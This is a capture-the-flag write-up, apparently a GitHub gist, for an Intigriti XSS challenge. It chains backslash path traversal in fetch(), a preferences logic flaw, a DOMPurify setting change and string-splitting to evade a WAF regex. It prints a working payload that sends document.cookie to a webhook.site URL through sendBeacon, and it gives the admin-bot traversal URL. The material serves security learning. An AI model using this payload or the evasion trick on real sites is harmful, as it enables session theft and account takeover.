Skip to content

Instantly share code, notes, and snippets.

@fjordsec
Last active April 22, 2026 07:02
Show Gist options
  • Select an option

  • Save fjordsec/4c57a8426e72150adea9805666ef9c1d to your computer and use it in GitHub Desktop.

Select an option

Save fjordsec/4c57a8426e72150adea9805666ef9c1d to your computer and use it in GitHub Desktop.

Intigriti April 2026 Challenge Writeup: Northstar Notes, How I Backslashed My Way into Admin’s Cookies 🍪

TL;DR: Client-side path traversal via fetch() using backslashes + Backend JSON injection via user preferences + DOMPurify bypass + WAF regex evasion = Sweet, sweet Admin ATO.


Phase 1: The Recon (or "What are those?!")

I started by looking at how Northstar Notes loads its panel views. When you view a note, the URL looks like this: /note/123/summary.

Digging into app.js, I noticed the frontend takes that summary panel from window.__APP_INIT__.panel and blindly throws it into a fetch() call to get a manifest:

var target = '/note/' + encodeURIComponent(noteId) + '/' + panel + '/manifest.json?note=' + encodeURIComponent(noteId);

Wait a minute... They aren't sanitizing the panel variable for backslashes?

2

Modern browsers are basically three raccoons in a trenchcoat pretending to be an HTTP client. If you feed a browser URL backslashes (\), it goes, "Ah, you meant forward slashes (/), let me fix that for you!"

By setting the panel to %5C..%5C..%5C..%5Capi..., the browser evaluates the fetch() target and traverses right out of the /note/ directory. Hmm...


Phase 2: The Logic Flaw ("Look at me. I am the Admin now.")

Now I had a client-side path traversal, meaning I could force the admin's browser to fetch() any API endpoint on the challenge domain that returns JSON. But what endpoint gives me a malicious payload?

Enter /api/account/preferences.

I realized that when you create a "Reader Preset" on your account, the backend saves it. But here's the beautiful business logic flaw: Presets are tied to the creator of the note, not the reader. If I create a note, and the Admin reads it, the backend will serve my preset to the Admin.

I fired up a quick POST request to save a malicious JSON preset named pwn into my account:

{
  "readerPresets": {
    "pwn": {
      "profile": {
        "renderMode": "full",
        "widgetTypes": ["custom"],
        "widgetSink": "script"
      }
    }
  }
}

By pointing the admin's fetch() path traversal at /api/account/preferences/reader-presets/pwn, their browser would load my JSON and apply renderMode: "full".


Phase 3: The Final Boss (DOMPurify & Regex)

With renderMode: "full" enabled, DOMPurify stops stripping id and data- attributes. But there were two more hurdles in app.js before I could pop an alert:

  1. The Silent Killer: initContentEnhancements() immediately dies if it doesn't find <div id="enhance-config"> in the DOM. It just returns. No errors, no warnings. Just pain.
  2. The WAF: Even with id attributes allowed, there's a custom postSanitize regex that nukes any data- attribute containing naughty words:
var UNSAFE_CONTENT_RE = /script|cookie|document|window|eval|alert|prompt|confirm|Function|fetch|XMLHttp|.../i;
modern-problems-chapelle

To bypass the silent killer, I just threw <div id="enhance-config" data-types="custom"></div> into my note content.

To bypass the Regex WAF, I couldn't use document.cookie. But JavaScript is a magical language where this inside an inline event handler points to window. And we can access properties using bracket notation and string concatenation!

document.cookie ➡️ this['doc'+'ument']['coo'+'kie']

The regex didn't stand a chance.


Phase 4: The Payload & Profit

I combined all the pieces to forge the ultimate note content:

<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom" data-cfg="navigator.sendBeacon('https://webhook.site/YOUR-UUID?c='+this['doc'+'ument']['coo'+'kie'])"></div>

Created the note, grabbed the Note ID, and built the final traversal URL for the Admin Bot:

https://challenge-0426.intigriti.io/note/a34ea00265c79463cfa2468bb57963f29c38e69d995f1e3bbe65079c512f8838/%5C..%5C..%5C..%5Capi%5Caccount%5Cpreferences%5Creader-presets%5Cpwn

And thus, we get this chain:

  • Admin clicked the link.
  • Browser parsed the backslashes.
  • Fetched my malicious preset.
  • DOMPurify stepped aside.
  • Regex got bypassed.
  • Webhook went ding.

And I laughed all the way to the bank

Impact: Full Admin Account Takeover via 1-click DOM XSS.

Thanks to Intigriti and KonaN for an awesome challenge!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment